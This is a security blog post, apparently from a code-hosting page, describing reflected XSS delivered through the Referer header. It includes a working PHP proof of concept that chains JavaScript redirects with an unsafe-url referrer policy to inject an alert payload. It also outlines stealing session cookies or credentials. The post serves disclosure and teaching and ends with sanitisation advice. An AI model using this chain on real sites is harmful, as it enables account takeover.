You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
140 lines
4.9 KiB
140 lines
4.9 KiB
--- |
|
title: XSS Through the Referer Header |
|
tags: |
|
- Security |
|
description: In this blog post, I document how I achieved reflected XSS though a malicious http header. |
|
date: 2021-10-14 |
|
--- |
|
|
|
XSS is a vulnerability in which a malicious actor is able to run JavaScript in |
|
an unsuspecting clients browser session. Normally, this is done via input fields |
|
whose values are reflected back to the user without proper sanitisation. |
|
|
|
In this blog, I demonstrate a method I recently used that injected the payload |
|
via the Referer [sip] header. |
|
|
|
Only do this on websites you own or have permission to do so no. It is illegal |
|
in most places to do this without permission. |
|
|
|
## Initial foothold |
|
|
|
I found myself looking at a website whose input fields were all well sanitised, |
|
getting ready to write a pretty boring report. However, I spotted a snippet of |
|
JavaScript in an analytics script that looked something like this: |
|
|
|
```js |
|
<script> |
|
{ |
|
... |
|
"referer": "site.com/page" |
|
... |
|
} |
|
</script> |
|
``` |
|
|
|
That sparked my interest so I opened pappy and changed the referer header to `" |
|
+ alert(1),"":"`. |
|
|
|
BRILLIANT! That worked. The referer header was not being sanitised. |
|
|
|
|
|
## Crafting the referer header |
|
|
|
So, that is nice, but it would take some serious social engineering to convince |
|
someone to intercept a request in burp / pappy / some other proxy tool, change |
|
their referer header to our payload and then submit the request. Really we |
|
needed a way to control that header ourselves. For anyone that doesn't know, the |
|
[referer header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer) |
|
holds the address of the page that makes the request. This basically means the |
|
previous page if a link was clicked. |
|
|
|
There is also a related header called [referrer-policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy) |
|
that controls how much information is sent. I want to send as much as possible |
|
so I manually set this to `unsafe-url` for my proof of concept. |
|
|
|
```php |
|
<?php |
|
header('Referrer-Policy: unsafe-url'); |
|
?> |
|
``` |
|
|
|
I am using php here because I know it. I'm not saying php is the best choice. |
|
Use what you know and can use quickly for proof of concepts. |
|
|
|
My initial thought was to simply use HTTP redirects to first redirect the user |
|
to a page whose url contained my payload, and then from there to the vulnerable |
|
page. |
|
|
|
The code for that was: |
|
|
|
```php |
|
<?php |
|
$payload='"+alert(1),"":"'; |
|
header('Referrer-Policy: unsafe-url'); |
|
if ( $_SERVER['REQUEST_URI'] == "/index.php" ) { |
|
header('Location: //localhost:8081/index.php/' . urlencode($payload)); |
|
}else{ |
|
header('Location: https://vulnerable-site.com/page'); |
|
} |
|
?> |
|
``` |
|
|
|
That didn't work. After some searching I realised that the referer header is not |
|
changed when an http redirect is followed. It does however if the url is changed |
|
with JS. |
|
|
|
```php |
|
$payload='"+alert(1),"":"'; |
|
header('Referrer-Policy: unsafe-url'); |
|
if ( $_SERVER['REQUEST_URI'] == "/index.php" ) { |
|
$location='//localhost:8081/index.php/' . urlencode($payload); |
|
}else{ |
|
$location='https://vulnerable-site.com/page'; |
|
} |
|
<!DOCTYPE html> |
|
<html lang="en"> |
|
<head> |
|
<meta charset="UTF-8" /> |
|
<meta name="viewport" content="width=device-width, initial-scale=1" /> |
|
<title>Example</title> |
|
<script> |
|
document.location="<?php echo $location; ?>"; |
|
</script> |
|
</head> |
|
<body> |
|
Example |
|
</body> |
|
</html> |
|
``` |
|
|
|
So, after hosting this at localhost:8081, I was able to visit it in my browser. |
|
If doing this in the real world, I would host it on a public server somewhere |
|
and try and convince a victim to click a link. |
|
|
|
In my case, the initial link would be to `//localhost:8081/index.php`. This |
|
would then use JS to redirect the victim to to |
|
`//localhost:8081/index.php/%22%2Balert%281%29%2C%22%22%3A%22`. We would then |
|
use JS again to redirct the user to the vulnerable site. With the |
|
referrer-policy header set to unsafe-url, the browser will set the referer |
|
header to the url including our payload and trigger our payload. In this |
|
example, we are doing `alert(1)`. That's pretty boring and obvious to the user. |
|
However, in the real world, we could send another request back to our server |
|
with the contents of document.cookie to steal the session, or prompt the user to |
|
re-enter their credentials and send that to ourselves. Once you have |
|
unrestricted XSS, account compromise is normally possible. |
|
|
|
## Improvements |
|
|
|
Many of you may have noticed ways to improve the payload. For example, I hard |
|
coded localhost:8081, the payload and various other information. If you want, |
|
feel free to improve it but this is supposed to be a proof of concept, not a |
|
well build program. When you're making POCs, it's the one time you really don't |
|
need to worry about coding well - it's about getting something that works in a |
|
short time frame. |
|
|
|
## Solution |
|
|
|
This issue came about because http headers were trusted. If the site had |
|
validated the http header, or encoded it in some way, this would not have been |
|
possible. Always sanitise. Never assume that anything that comes in the request |
|
is safe.
|
|
|